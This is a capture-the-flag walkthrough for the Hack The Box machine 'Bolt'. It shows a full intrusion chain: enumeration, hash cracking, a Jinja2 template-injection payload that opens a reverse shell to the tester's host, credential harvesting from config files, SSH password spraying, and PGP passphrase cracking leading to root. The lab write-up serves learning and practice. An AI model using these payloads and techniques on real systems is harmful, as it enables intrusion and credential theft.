Enumeration
sudo nmap -sC -sS -sV -F 10.10.11.114 >scan.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-23 21:12 EEST
Nmap scan report for 10.10.11.114
Host is up (1.2s latency).
Not shown: 97 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
| 256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_ 256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Starter Website - About
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after: 2022-02-24T19:11:23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.73 seconds
We can see in the SSL service a subdomain: passbolt.bolt.htb Let’s add both bolt.htb
and passbolt.bolt.htb
to /etc/hosts
.
If we inspect the page we can find it is running the 3.2.1 version. The latest; which has no known vulnerabilities.
<script src="https://passbolt.bolt.htb/js/app/api-vendors.js?v=3.2.1" cache-version="3.2.1">
If we run gobuster:
gobuster -w /usr/share/dirbuster/directory-list-2.3-medium.txt dir --url http://10.10.11.114
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.114
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/10/24 12:02:44 Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 308) [Size: 247] [--> http://10.10.11.114/]
/download (Status: 200) [Size: 18570]
/contact (Status: 200) [Size: 26293]
/login (Status: 200) [Size: 9287]
/register (Status: 200) [Size: 11038]
/services (Status: 200) [Size: 22443]
/profile (Status: 500) [Size: 290]
/pricing (Status: 200) [Size: 31731]
/logout (Status: 302) [Size: 209] [--> http://10.10.11.114/]
We can see a /download
page, which contains a docker image that can be dowloaded. It downloads a TAR file.
Getting the foothold
There is no need to load the image, but if we wanted, we could do the following:
docker load -i image.tar
docker run -it flask-dashboard-adminlte_appseed-app /bin/sh
We can simply extract the tar files and explore them as usual. There is some sensitive data in config.py
:
# Set up the App SECRET_KEY
SECRET_KEY = config('SECRET_KEY', default='S#perS3crEt_007')
Although, I couldn’t do anything with that.
But later I found a sqlite file db.sqlite3, which can be easily inspected with:
sqlite3 db.sqlite3
SQLite version 3.36.0 2021-06-18 18:36:39
Enter ".help" for usage hints.
sqlite> .tables
User
sqlite> SELECT * FROM User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
This gives us an account hash. We can crack it with hashcat.
hashcat hash.txt /usr/share/dict/rockyou.txt -o cracked.txt
And we get the admin password for bolt.htb
. In the Direct Chat it mentions some problems about the e-mail.
Hi Sarah, did you have time to check over the docker image? If not I’ll get Eddie to take a look over. Our security team had a concern with it - something about e-mail?
There are also mentions about a demo site:
Our demo is currently restricted to invite only.
And the importance of the user Eddie (he seems to be a privileged user in the system).
If we look for the invite keyword in the image, we find a routes.py
which contains the following code:
code = request.form['invite_code']
if code != 'XNSS-HSJW-3NGU-8XTJ':
return render_template('code-500.html')
data = User.query.filter_by(email=email).first()
if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
Where we can extract the invitation code: XNSS-HSJW-3NGU-8XTJ
.
If we go to the /register
url we can’t find a way to input the invite code. Also, looking at the template files, it seems like it is a different page. Let’s try a subdomain search:
gobuster vhost --url bolt.htb --wordlist /usr/share/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bolt.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/directory-list-2.3-medium.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/10/24 13:52:20 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mail.bolt.htb (Status: 200) [Size: 4943]
Found: demo.bolt.htb (Status: 302) [Size: 219]
Let’s add both to /etc/hosts
. After failing to login in both pages with the admin credentials, we are going to try to register with the invitation code in the demo.
After creating a user we are able to login in both pages. If we read the code for the backend of the demo, in the app/home/routes.py
we find the following logic:
@blueprint.route("/example-profile", methods=['GET', 'POST'])
@login_required
def profile():
...
confirm_url = url_for('home_blueprint.confirm_changes',token=token,_external=True)
html = render_template('emails/confirm-changes.html',confirm_url=confirm_url)
msg.html = html
mail.send(msg)
Which means we will get a confirmation email each time we change our profile info to confirm changes.
The first template is rendered safely, but the one we get after confirming the changes is a string replacement, and then a render_template_string
call.
<html>
<body>
<p> %s </p>
<p> This e-mail serves as confirmation of your profile username changes.</p>
</body>
</html>
Whatever we input in the name will be injected there and then rendered as a template. If we try to put a script, the confirmation email will be:
<div class="rcmBody">
<p> <!-- script not allowed --> </p>
<p> This e-mail serves as confirmation of your profile username changes.</p>
</div>
So we need a template injection to access system executables (called Server Side Template Injection):
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.108\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\", \"-i\"]);'")}}{%endif%}{% endfor %}
We will listen for the connection with pwncat
:
pwncat -lv 6666
And we are into www-data
.
$ whoami
www-data
Getting the user flag
We can see the database configuration for the site in config.py
:
"""Flask Configuration"""
#SQLALCHEMY_DATABASE_URI = 'sqlite:///database.db'
SQLALCHEMY_DATABASE_URI = 'mysql://bolt_dba:dXUUHSW9vBpH5qRB@localhost/boltmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'kreepandcybergeek'
MAIL_SERVER = 'localhost'
But we can’t get anything interesting apart from the password we already got for admin.
We saw a passbolt service running, let’s find the config file. You can check for the configuration file at /etc/passbolt/passbolt.php
.
// Database configuration.
'Datasources' => [
'default' => [
'host' => 'localhost',
'port' => '3306',
'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%',
'database' => 'passboltdb',
],
],
We can login into the database as usual:
mysql --user=passbolt --password='rT2;jW7<eY8!dX8}pQ8%' passboltdb
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| passboltdb |
+--------------------+
2 rows in set (0.00 sec)
mysql> use passboltdb;
Database changed
mysql> show tables;
+-----------------------+
| Tables_in_passboltdb |
+-----------------------+
| account_settings |
| action_logs |
| actions |
| authentication_tokens |
| avatars |
| comments |
| email_queue |
| entities_history |
| favorites |
| gpgkeys |
| groups |
| groups_users |
| organization_settings |
| permissions |
| permissions_history |
| phinxlog |
| profiles |
| resource_types |
| resources |
| roles |
| secret_accesses |
| secrets |
| secrets_history |
| user_agents |
| users |
+-----------------------+
25 rows in set (0.00 sec)
mysql> select * from users;
+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+
| id | role_id | username | active | deleted | created | modified |
+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+
| 4e184ee6-e436-47fb-91c9-dccb57f250bc | 1cfcd300-0664-407e-85e6-c11664a7d86c | eddie@bolt.htb | 1 | 0 | 2021-02-25 21:42:50 | 2021-02-25 21:55:06 |
| 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 | 975b9a56-b1b1-453c-9362-c238a85dad76 | clark@bolt.htb | 1 | 0 | 2021-02-25 21:40:29 | 2021-02-25 21:42:32 |
+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+
2 rows in set (0.00 sec)
And we got two users. We can also see that there is a secrets table.
mysql> select * from secrets;
If we read it, we get a PGP encrypted secret created by user eddie. They also mentioned Eddie in the chat, so we are going to try to find his token.
mysql> select token,type from authentication_tokens where user_id = '4e184ee6-e436-47fb-91c9-dccb57f250bc' and active = '1';
+--------------------------------------+---------+
| token | type |
+--------------------------------------+---------+
| 9f9152dd-707b-4428-90fa-de7f719a88c6 | recover |
| eb73c81c-be4b-477d-b534-c9395a3ff69e | recover |
| 0a3d0403-a6db-4dc4-80e1-44c38be41b27 | recover |
| aaf61fad-8102-46e1-bcae-b54a9f8a6079 | recover |
+--------------------------------------+---------+
4 rows in set (0.00 sec)
The tokens have type = 'recover'
. Let’s try to access https://passbolt.bolt.htb/users/recover?locale=en-UK. Nope, we need to have access to his email. If we look for how to recover a passbolt without an account, we find the following:
https://<your_domain>/setup/recover/<user_id>/<authentication_token.token>
After that, and downloading the extension, we are asked for a private key (in PGP format). We tried to access eddie home to check if the key was there, but we don’t have permissions for that.
Let’s try bruteforcing ssh with all the users and passwords we have until now.
crackmapexec ssh 10.10.11.114 -u users.txt -p passwords.txt
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing SSH protocol database
[*] Initializing SMB protocol database
[*] Initializing MSSQL protocol database
[*] Initializing LDAP protocol database
[*] Initializing WINRM protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SSH 10.10.11.114 22 10.10.11.114 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
SSH 10.10.11.114 22 10.10.11.114 [-] admin:deadbolt Authentication failed.
SSH 10.10.11.114 22 10.10.11.114 [-] admin:rT2;jW7<eY8!dX8}pQ8% Authentication failed.
SSH 10.10.11.114 22 10.10.11.114 [-] admin:dXUUHSW9vBpH5qRB Authentication failed.
SSH 10.10.11.114 22 10.10.11.114 [-] eddie:deadbolt Authentication failed.
SSH 10.10.11.114 22 10.10.11.114 [+] eddie:rT2;jW7<eY8!dX8}pQ8%
We got a hit. Let’s ssh
into eddie and get the user flag.
Privilege escalation
If we look for the PGP key to decrypt the secret:
grep -iR 'BEGIN PGP PRIVATE KEY BLOCK'
We get some PGP private keys, all of them from Chrome extensions (like the one we are looking for):
.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js:const PRIVATE_HEADER = '-----BEGIN PGP PRIVATE KEY BLOCK-----';
.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP PRIVATE KEY BLOCK
.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP PRIVATE KEY BLOCK-----\r\n");
Binary file .config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log matches
If we look at the binary file (000003.log
) we can get a private key block. After formating it a bit (replacing \\r\\n
with \n
), we can upload that to the extension configuration. But we are asked for a passphrase.
As we don’t have the passphrase, we will try to decrypt the pgp to get the original password.
We can get a John The Ripper representation of the pgp key with:
gpg2john pgp.txt >pgp_john.txt
After that, we can try to decode it with:
john pgp_john.txt
john --show pgp_john.txt
Eddie Johnson:merrychristmas:::Eddie Johnson <eddie@bolt.htb>::pgp.txt
After deciphering his passphrase, we can log in into the passbolt service (with the steps of recovery we did before, and using the passphrase). We see there is a root password store.
If we try to ssh
root, it seems like it doesn’t work, but it could be disabled to log in with root. Let’s try to switch user from eddie.
eddie@bolt:~$ su root
Password:
root@bolt:/home/eddie#
It worked! We owned the machine, just take the root.txt
flag.
Resources
- Server Side Template Injection (SSTI):
- Recover passbolt account without email: